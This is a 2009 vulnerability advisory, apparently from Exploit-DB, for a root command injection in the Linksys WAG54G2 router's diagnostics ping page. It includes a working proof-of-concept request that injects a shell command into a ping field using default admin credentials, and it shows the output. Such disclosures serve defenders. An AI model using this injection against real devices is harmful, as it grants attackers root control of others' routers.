Linksys WAG54G2 router

vendor:

WAG54G2

by:

milw0rm.com

7,5

CVSS

HIGH

Command Injection

CWE

Product Name: WAG54G2

Affected Version From: V1.00.10

Affected Version To: V1.00.10

Patch Exists: NO

Related CWE: N/A

CPE: h:linksys:wag54g2

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: None

2009

The Linksys WAG54G2 router is a popular SOHO class device that provides ADSL / WiFi / Ethernet interfaces. When logged into the web management console, it is possible to execute commands as root. An attacker can exploit this issue remotely (using CRSF) assuming that a victim did not change the default password to the web management. The vendor (Cisco) was contacted in March '09 and confirmed the issue (but still it remains unpatched).

Mitigation:

Change the default password to the web management.

Source

Exploit-DB raw data:

1. Linksys WAG54G2 router is a popular SOHO class device. It provides ADSL / WiFi / Ethernet interfaces.

2. When logged into web management console, it is possible to execute commands as root (tested on firmware: V1.00.10).

3. PoC:

GET /setup.cgi?ping_ipaddr1=1&ping_ipaddr2=1&ping_ipaddr3=1&ping_ipaddr4=1&ping_size=60&ping_number=1&ping_interval=1000&ping_timeout=5000&start=Start+Test&todo=ping_test&this_file=Diagnostics.htm&next_file=Diagnostics.htm&c4_ping_ipaddr=1.1.1.1;/bin/ps aux&message= HTTP/1.1
Host: 192.168.1.1
Authorization: Basic YWRtaW46YWRtaW4=

HTTP/1.0 200 OK
sh: cannot create 1: Unknown error 30
killall: pingmultilang: no process killed
killall: 2: no process killed
  PID  Uid     VmSize Stat Command
    1 root        284 S   init       
    2 root            SWN [ksoftirqd/0]
    3 root            SW< [events/0]
    4 root            SW< [khelper]
    5 root            SW< [kthread]
...

4. Note that it is needed to supply valid user/password (Authorization HTTP header).

5. One could try to exploit this issue remotely (using CRSF) assuming that a victim did not change default password to the web management.

6. The vendor (Cisco) was contacted in march '09 and confirmed the issue (but still it remains unpatched).

7. More detailed information: http://www.securitum.pl/dh/Linksys_WAG54G2_-_escape_to_OS_root

# milw0rm.com [2009-06-01]